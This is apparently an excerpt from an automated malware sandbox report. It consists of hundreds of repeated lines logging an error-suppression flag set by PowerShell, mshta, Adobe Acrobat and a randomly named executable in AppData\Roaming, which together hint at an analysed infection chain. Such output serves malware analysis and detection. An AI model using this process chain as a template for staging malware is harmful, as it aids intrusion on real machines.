Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
